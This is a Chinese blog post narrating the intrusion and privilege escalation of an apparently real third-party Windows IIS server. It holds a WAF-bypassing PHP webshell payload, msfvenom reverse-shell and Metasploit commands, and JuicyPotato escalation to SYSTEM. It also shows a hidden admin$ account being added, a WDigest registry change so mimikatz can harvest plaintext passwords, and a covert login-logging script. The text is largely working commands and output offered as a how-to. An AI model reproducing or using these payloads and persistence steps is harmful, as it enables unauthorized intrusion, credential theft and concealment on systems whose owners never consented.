某次Windows渗透提权过程 – 作者:AttackCTF

 0x01  物色目标

大多数站点出于安全考虑,都会在robots.txt文件中屏蔽掉搜索引擎对敏感路径页面的爬取。robots文件里的敏感路径在针对一个目标渗透时可以帮助我们识别出重要页面,但它的存在不利于自动化工具的批量采集,所以Censys、Shodan、Zoomeye就不会那么灵敏了。

图片[1]-某次Windows渗透提权过程 – 作者:AttackCTF-安全小百科

首先在Censys中利用敏感路经找到了一堆服务器,挑了几个看起来顺眼的利用某代码执行漏洞写入WebShell

图片[2]-某次Windows渗透提权过程 – 作者:AttackCTF-安全小百科

前几个站基本没遇到啥阻碍,遇到的宝塔WAF用file_put_con%00tents这种就可以绕过,有安全狗的也都是很久没更新过的免费版,随便找了个库存里的就过了:

file_put_contents(%27test.php%27,%27%3C?php%20function%20a(){%20return%20%22assert%22;%20}%20$a=a();%20$aa%20=%20array($_POST[%221%22]);%20call_user_func_array($a,$a=$aa);%20?%3E%27);

蚁剑连上WebShell后Open Terminal Here,whoami看了下基本都是nt authority\system权限,netstat -naonet view /domain也没看出有内网环境,于是交SRC草草了事

 0x02 异端出现

然后本文的主角就登场了,执行whoami发现是iis apppool\xxx,只能读到WebShell所在子目录下的文件,其它盘符及Web根目录均无权访问,phpinfo中open_basedirno value,所以问题出在账户权限上

图片[3]-某次Windows渗透提权过程 – 作者:AttackCTF-安全小百科

上传一个去后门网红大马,二话不说就准备MySQL提权,然后反应过来现在根本读不到数据库的配置文件,完全不知道库名和帐号密码,而且net user看到有一个单独的mysql账户,估计多半也是低权限= =

图片[4]-某次Windows渗透提权过程 – 作者:AttackCTF-安全小百科

接着开始觊觎反弹提权。。。nc能连上但是没回显,php的whoami回显回来并没有卵用。。。

nc -vv -l 12388Listening on [0.0.0.0] (family 0, port 12388)Connection from 103.xxx.xx.xxx 55436 received! ********************************************* is ok********************************************* [Shell]> whoamiShellresult:  [Shell]> ^Croot@:~#  nc -vv -l 12388Listening on [0.0.0.0] (family 0, port 12388)Connection from 103.xxx.xx.xxx 56873 received!  nc -vv -l 12388Listening on [0.0.0.0] (family 0, port 12388)Connection from 103.xxx.xx.xxx 56873 received!----------------------PHP反弹连接----------------------whoamiiis apppool

 

继续尝试利用操作系统缺失补丁提权,systeminfo获取补丁信息并存入本地的sysinfo.txt

图片[5]-某次Windows渗透提权过程 – 作者:AttackCTF-安全小百科

运行windows-exploit-suggester.py快速获取缺失补丁及对应漏洞情况

图片[6]-某次Windows渗透提权过程 – 作者:AttackCTF-安全小百科

先尝试了MSF中有exploit的几个洞

# 生成并上传反弹shellmsfvenom -p windows/shell/reverse_tcp lhost=IP lport=12388 -a x86 --platform win -f exe -o a.exe # 监听目标端口msf5 > use exploit/multi/handlerset lhost IPset lport 12388run # WebShell中运行a.exe,捕获会话后输入backgrounduse exploit/windows/local/ms16_032_secondary_logon_handle_privescset session 1run

等了它一分钟若有其事地执行完后告诉我失败了= =,其它几个exploit一样都是失败

[*] Exploit completed, but no session was created.

继续尝试了K8tools的iislpe也未成功

走投无路想起了刚才出现过的

MS16-075: Security Update for Windows SMB Server (3164038)

跟着链接走

https://github.com/foxglovesec/RottenPotato

瞟了几眼没看懂原理,照作者提示继续找到新的替代品

https://github.com/breenmachine/RottenPotatoNG

手边并没有VS的编译环境,在项目中也没找到合适的编译好的exe,想起了juicy-potato,按照 三好学生 大神的文章开始尝试

whoami /priv 拒绝访问。特权信息----------------------特权名                        描述                 状态============================= ==================== ======SeAssignPrimaryTokenPrivilege 替换一个进程级令牌   已禁用SeIncreaseQuotaPrivilege      为进程调整内存配额   已禁用SeAuditPrivilege              生成安全审核         已禁用SeChangeNotifyPrivilege       绕过遍历检查         已启用SeImpersonatePrivilege        身份验证后模拟客户端 已启用SeCreateGlobalPrivilege       创建全局对象         已启用SeIncreaseWorkingSetPrivilege 增加进程工作集       已禁用  JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} [+] authresult 0{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHHORITY\SYSTEM [+] CreateProcessWithTokenW OK

看起来像是成功了的样子,但蚁剑里whoami后依然是iis,尝试用msf的shell执行也无济于事

 0x03 柳暗花明

俗话说世上无难事只要肯放弃攀登,终于在土司找到了大佬改写过的WebShell版烂土豆,上传到服务器后执行:

 

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
JuicyPotato.exe -p whoami�ܾ����ʡ�JuicyPotato modified by skyer v0.1[+] Testing {4991d34b-80a1-4291-83b6-3328366b9097} 23573......[+] Auth result 0[+] CLSID:{4991d34b-80a1-4291-83b6-3328366b9097}; Privilege:NT AUTHORITY\SYSTEM[+] Launching server JuicyPotato.exe -s 4700[+] SeImpersonate enabled![+] CommandThread launched![+] CreateProcessWithTokenW OK[+] Waiting command server...[*] Trying connect server 127.0.0.1:4700...[+] Command server connected!=================================nt authority\system=================================

提权成功,但蚁剑的WebShell里好像只能传一个参数?再次抱起被遗弃的msf孤儿shell

  •  
  •  
  •  
# 将password替换为满足强度要求的密码,否则需要改组策略关闭密码强度检查execute -f JuicyPotato.exe -p net user admin$ passwordexecute -f JuicyPotato.exe -p net localgroup administrators admin$ /add
    为避免打草惊蛇先netstat -nao看了下,被改过的远程桌面端口处于未连接状态,管理员应该吃饭睡觉打豆豆去了,抓紧时间连上去看看
  •  
proxychains rdesktop -f 103.xxx.xx.xxx:1xxxx

redesk全屏可通过CTRL+ALT+ENTER退出

图片[7]-某次Windows渗透提权过程 – 作者:AttackCTF-安全小百科

访问被丑拒,右键属性->安全->编辑->添加新用户

图片[8]-某次Windows渗透提权过程 – 作者:AttackCTF-安全小百科

上传mimikatz抓管理员明文密码失败,Windows Server 2008 R2及更高版本的系统,默认配置下无法在凭据中保存明文信息,需要改注册表等待用户再次登录

  •  
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  •  
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
在组策略中部署一个记录登录IP的bat
  •  
  •  
  •  
  •  
@echo offdate /t >>C:\WINDOWS\loginlog.logtime /t >>C:\WINDOWS\loginlog.lognetstat -an | find ":3389" | find "ESTABLISHED" >> C:\WINDOWS\loginlog.log
    接着按照隐藏账户中所述方法,尽可能降低被发现的几率,此时对该目标机器的渗透也接近尾声,之后继续试着挖挖外连的一台mysql机器、抓到管理员密码后登录百度云看看能有更多收获没有

 

0x04 总结

    其实不论是在之前的渗透还是这次的提权过程中,很多时候陷入困境时就想着放弃算了,但大多数情况下不服输地再坚持研究一会终究能找到突破口,漏洞挖一挖总是有的。

 

来源:freebuf.com 2020-08-14 09:35:38 by: AttackCTF

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论